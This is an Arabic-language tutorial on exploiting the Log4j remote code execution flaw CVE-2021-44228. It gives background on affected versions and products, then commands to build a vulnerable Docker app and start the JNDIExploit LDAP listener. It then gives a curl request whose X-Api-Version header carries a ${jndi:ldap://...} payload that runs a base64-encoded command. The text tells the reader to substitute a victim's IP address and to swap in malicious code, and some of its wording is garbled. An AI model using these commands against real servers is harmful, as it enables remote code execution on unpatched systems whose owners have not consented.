
برنامج تعليمي خطوة بخطوة لاستغلال Log4j CVE-2021-44228 مع تطبيق ضعيف قائم على Docker ومستمع JNDIExploit وحقن حمولة LDAP لتنفيذ الأوامر عن بُعد.

تم اكتشاف ثغرة تنفيذ تعليمات برمجية عن بُعد (Remote Code Execution) تتعلق بمكتبة تسجيل Java وهي Log4j.
CVE-2021-44228 أحدثت هذه الثغرة ضجة كبيرة في مجتمع الأمن السيبراني العالمي؛ فمنذ Wannacry لم نشهد تأثيرًا بهذا الحجم.
يُعتقد أن معظم التطبيقات المكتوبة بلغة Java متأثرة وقابلة للاستغلال، لا سيما أطر عمل Apache بما في ذلك Apache Struts2 وApache Solr وApache Druid وApache Flink. بالإضافة إلى ذلك، فإن ElasticSearch وFlume وLogstash وKafka وNetty وMyBatis وSpring-Boot-starter-log4j معرضة أيضًا للخطر. تعتمد بعض أكثر المنتجات والخدمات شيوعًا على الإنترنت - بما في ذلك Apple iCloud وAmazon وSteam وTwitter - على هذه الأطر في عملها. ويُعتقد أيضًا أن هذا يشمل عددًا كبيرًا من تطبيقات المؤسسات والأمن السيبراني.
قالت Radware (خدمات الحماية الموزعة ضد حجب الخدمة DDoS التكيفية المستمرة في الوقت الفعلي) إن البرامج التي تُفعّل وتستخدم استبدال بحث رسائل log4j فقط هي المتأثرة. منذ الإصدار 2.15.0، يتم تعطيل استبدال بحث الرسائل افتراضيًا، ولهذا السبب يعد التصحيح ضروريًا. جميع إصدارات Log4j 2 من 2.0-beta9 إلى 2.14.1 معرضة للخطر وقابلة للاستغلال.


أولًا، هذا الدليل متوافق مع العمل على Kali Linux VM، وقم بتشغيل مستمع Java (java listener) بالأمر التالي، كما في الجانب الأيسر من دليل الفيديو. ابدأ ببناء تطبيق الثغرة vulnerability-application عبر Docker ثم قم بتشغيله. لذا هيا نفعل ذلك.
docker build . -t vulnerable-appالخطوة التالية، هي في الواقع تشغيل التطبيق الضعيف vulnerable-app الذي تم نشره.
*إذًا، الأمر التالي:
docker run -p 8080:8080 --name vulnerable-app vulnerable-app
والآن يجب تشغيل سكربت Spring كما في دليل الفيديو.
الآن للحصول على بصمة خادم LDAP، كل ما نحتاجه هو إنشاء رابط LDAP وسنكون انتهينا. أولاً، قم بتنزيل أداة الاستغلال JNDIExploit-1.2. رابط تنزيل JNDIExploit تم حذفه بواسطة GitHub، لذا يمكنك التنزيل من الأرشيف (الرابط أدناه). احصل على الرابط التالي للتنزيل من الأرشيف JNDIExploitArchiveUrl
إذًا، لنقم بهذا
فك ضغط JNDIExploit.
شغّل مستمع Java: java -jar JNDIExploit.v1.2-SNAPSHOT.jar -i "replace_with_ypure_IP-ADDR" -p 8888.
ملاحظة: احذف "replace_with your IP-addr" وأدخل عنوان IP الخاص بالمستمع. (بدون تضمين الأقواس).
الخطوة التالية لتفعيل الاستغلال، شغّل الأمر التالي:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://"ip-addr":1389/Basic/Command/Base64/aGVsbG8td29ybGQ=}'
ملاحظة: استبدل "ip-addr" بعنوان IP المحلي الخاص بك الذي يستمع عبر Java واستبدل أيضًا 127.0.0.1 بعنوان IP الضحية، وهذه هي النهاية، سوف تستلم سلسلة hello-world عبر base64. بهذه الطريقة يمكنك القيام بأي تلاعب. اكتشف المزيد من التقنيات للاستخدام، Minecraft، يمكنك القيام بالتلاعب عبر أداة Burp Suite للخدمات المفتوحة في الكمبيوتر وغيرها، تخيل هذا - ادخل إلى وضع الإنتاجية وزد من ارتجالك، وقم بتأليف البرمجية الخبيثة التالية.
يمكن استبدال السلسلة base64 (hello-world) بكود JS قابل للتنفيذ ومتوافق مع تشغيل الاستعلامات عبر خادم LDAP.